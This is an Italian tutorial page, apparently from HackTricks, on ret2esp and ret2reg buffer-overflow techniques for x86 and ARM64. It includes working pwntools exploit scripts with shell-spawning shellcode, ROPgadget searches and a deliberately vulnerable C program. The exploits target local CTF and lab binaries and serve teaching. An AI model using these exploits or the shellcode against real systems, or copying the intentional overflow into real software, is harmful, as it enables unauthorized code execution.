Ret2esp / Ret2reg

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Ret2esp

Poiché l'ESP (Puntatore dello Stack) punta sempre alla cima dello stack, questa tecnica comporta la sostituzione dell'EIP (Instruction Pointer) con l'indirizzo di un'istruzione jmp esp o call esp. Facendo ciò, lo shellcode viene posizionato subito dopo l'EIP sovrascritto. Quando l'istruzione ret viene eseguita, ESP punta all'indirizzo successivo, precisamente dove lo shellcode è memorizzato.

Se Address Space Layout Randomization (ASLR) non è abilitato in Windows o Linux, è possibile utilizzare le istruzioni jmp esp o call esp trovate nelle librerie condivise. Tuttavia, con ASLR attivo, potrebbe essere necessario cercare queste istruzioni all'interno del programma vulnerabile stesso (e potresti dover superare PIE).

Inoltre, essere in grado di posizionare lo shellcode dopo la corruzione dell'EIP, piuttosto che nel mezzo dello stack, garantisce che eventuali istruzioni push o pop eseguite durante il funzionamento della funzione non interferiscano con lo shellcode. Questa interferenza potrebbe verificarsi se lo shellcode fosse posizionato nel mezzo dello stack della funzione.

Spazio insufficiente

Se ti manca spazio per scrivere dopo aver sovrascritto RIP (forse solo pochi byte), scrivi uno shellcode iniziale jmp come:

sub rsp, 0x30
jmp rsp

E scrivere lo shellcode all'inizio dello stack.

Esempio

È possibile trovare un esempio di questa tecnica in https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp con un exploit finale come:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Puoi vedere un altro esempio di questa tecnica in https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. C'è un overflow di buffer senza NX abilitato, viene utilizzato un gadget per ridurre l'indirizzo di $esp e poi un jmp esp; per saltare al codice della shell:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Allo stesso modo, se sappiamo che una funzione restituisce l'indirizzo in cui è memorizzato il codice della shell, possiamo sfruttare le istruzioni call eax o jmp eax (note come tecnica ret2eax), offrendo un altro metodo per eseguire il nostro codice della shell. Proprio come eax, qualsiasi altro registro contenente un indirizzo interessante potrebbe essere utilizzato (ret2reg).

Esempio

Puoi trovare alcuni esempi qui:

ARM64

Ret2sp

In ARM64 non ci sono istruzioni che consentono di saltare al registro SP. Potrebbe essere possibile trovare un gadget che sposta sp in un registro e poi salta a quel registro, ma nella libc del mio kali non ho trovato alcun gadget del genere:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

L'unico che ho scoperto cambierebbe il valore del registro dove sp è stato copiato prima di saltarci (quindi diventerebbe inutile):

Ret2reg

Se un registro ha un indirizzo interessante, è possibile saltarci trovando l'istruzione adeguata. Si potrebbe utilizzare qualcosa del genere:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

In ARM64, è x0 che memorizza il valore di ritorno di una funzione, quindi potrebbe essere che x0 memorizzi l'indirizzo di un buffer controllato dall'utente con uno shellcode da eseguire.

Codice di esempio:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Controllando il disassemblaggio della funzione è possibile vedere che l'indirizzo del buffer (vulnerabile a bof e controllato dall'utente) è memorizzato in x0 prima di tornare dal buffer overflow:

È anche possibile trovare il gadget br x0 nella funzione do_stuff:

Utilizzeremo quel gadget per saltarci sopra poiché il binario è compilato SENZA PIE. Utilizzando un pattern è possibile vedere che l'offset del buffer overflow è 80, quindi l'exploit sarebbe:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

Se invece di fgets fosse stato usato qualcosa come read, sarebbe stato possibile aggirare anche il PIE sovrascrivendo solo gli ultimi 2 byte dell'indirizzo di ritorno per tornare all'istruzione br x0; senza bisogno di conoscere l'indirizzo completo. Con fgets non funziona perché aggiunge un byte nullo (0x00) alla fine.

Protezioni

  • NX: Se lo stack non è eseguibile, questo non aiuterà poiché dobbiamo inserire il codice shell nello stack e saltare per eseguirlo.

  • ASLR & PIE: Queste possono rendere più difficile trovare un'istruzione su cui saltare per raggiungere esp o qualsiasi altro registro.

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated